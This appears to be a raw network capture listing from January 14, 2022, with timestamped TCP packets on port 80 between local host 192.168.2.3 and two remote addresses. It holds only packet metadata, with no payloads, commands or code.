Jan 14, 2022 02:05:13.883259058 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883279085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883295059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883310080 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883326054 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.883332014 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.883378029 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.934631109 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934663057 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934684038 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934705973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934716940 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.934729099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934751987 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.934762955 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934792995 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934796095 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.934818029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934839964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934860945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934870958 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.934883118 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934905052 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934907913 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.934926987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934926987 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.934947968 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934969902 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.934983015 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.934990883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.935041904 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.954894066 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.954929113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.954948902 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.954969883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.954991102 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.954987049 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955012083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955013990 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955034971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955051899 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955058098 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955079079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955101967 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955111027 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955123901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955147028 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955153942 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955168009 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955168962 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955188990 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955210924 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955233097 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955238104 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955251932 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955252886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955275059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955295086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955315113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955336094 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955338001 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955349922 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955355883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955378056 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955382109 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955399990 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955420971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955435038 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955441952 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955463886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955470085 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955485106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955506086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955527067 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955537081 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955548048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955569983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955571890 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955589056 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955599070 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955610991 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955631018 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955638885 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955650091 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955671072 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955692053 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955693007 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955713034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955732107 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955734015 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955754042 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955769062 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955776930 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955799103 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955818892 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955833912 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955841064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955848932 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955862045 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955882072 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955883980 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955904961 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955924034 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955944061 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955950022 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.955965042 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955986023 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.955992937 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956007004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956015110 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956029892 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956049919 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956065893 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956070900 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956091881 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956111908 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956119061 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956132889 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956137896 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956155062 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956175089 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956185102 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956196070 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956218004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956224918 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956238985 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956258059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956276894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956288099 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956298113 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956309080 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956319094 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956340075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956343889 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.956360102 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.956404924 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.006959915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007023096 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007061958 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007086039 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.007102013 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007139921 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007158041 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.007179976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007200003 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.007219076 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007256031 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007266998 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.007296085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007333994 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007345915 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.007385015 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007427931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007464886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007479906 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.007503986 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007522106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.007543087 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007579088 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.007642031 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.028307915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028369904 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028410912 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028449059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028453112 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.028472900 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.028490067 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028529882 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028534889 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.028568983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028616905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028657913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028665066 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.028696060 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028700113 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.028734922 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028773069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028810978 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028827906 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.028853893 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028872013 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.028893948 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028932095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028970003 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.028974056 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029006958 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029010057 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029046059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029084921 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029122114 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029133081 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029160976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029164076 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029197931 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029237986 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029275894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029282093 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029314041 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029318094 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029354095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029391050 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029429913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029434919 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029469967 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029470921 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029505968 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029545069 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029584885 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029584885 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029622078 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029633045 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029661894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029699087 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029733896 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029736996 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029778004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029788971 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.029814959 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.029860020 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030045033 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030092001 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030129910 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030169010 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030173063 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030210972 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030262947 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030302048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030339003 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030375957 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030383110 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030416012 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030417919 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030462027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030546904 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030585051 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030596018 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030622005 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030659914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030661106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030698061 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030703068 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030738115 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030776024 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030786037 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030812979 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030853987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030868053 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.030891895 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030929089 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030966997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.030968904 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.031004906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031043053 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031049013 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.031084061 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031085014 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.031121016 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031203032 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031244040 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031250954 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.031284094 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031286955 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.031320095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031358004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031394958 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031404972 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.031434059 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.031436920 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.079514980 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079543114 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079561949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079577923 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079593897 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079610109 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079626083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079638958 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.079642057 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079659939 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079677105 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079694986 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079700947 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.079710960 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079720974 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.079727888 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079741955 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.079744101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079760075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079768896 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.079776049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.079806089 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103291988 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103317976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103332996 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103348970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103363037 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103379011 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103379965 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103394032 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103410006 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103441954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103450060 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103460073 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103477001 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103487015 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103493929 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103511095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103514910 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103528023 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103544950 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103547096 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103559971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103578091 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103579998 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103595018 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103610039 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103621006 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103626013 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103642941 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103651047 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103658915 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.103682995 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.103945017 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.115955114 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.167700052 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.167800903 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.175704956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.175796032 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.196981907 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.256577969 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.256604910 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.256619930 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.256649017 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.256664991 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.256695032 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.256742001 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.256874084 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.256894112 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.256911039 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.256941080 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.256944895 CET	80	49874	93.189.42.167	192.168.2.3
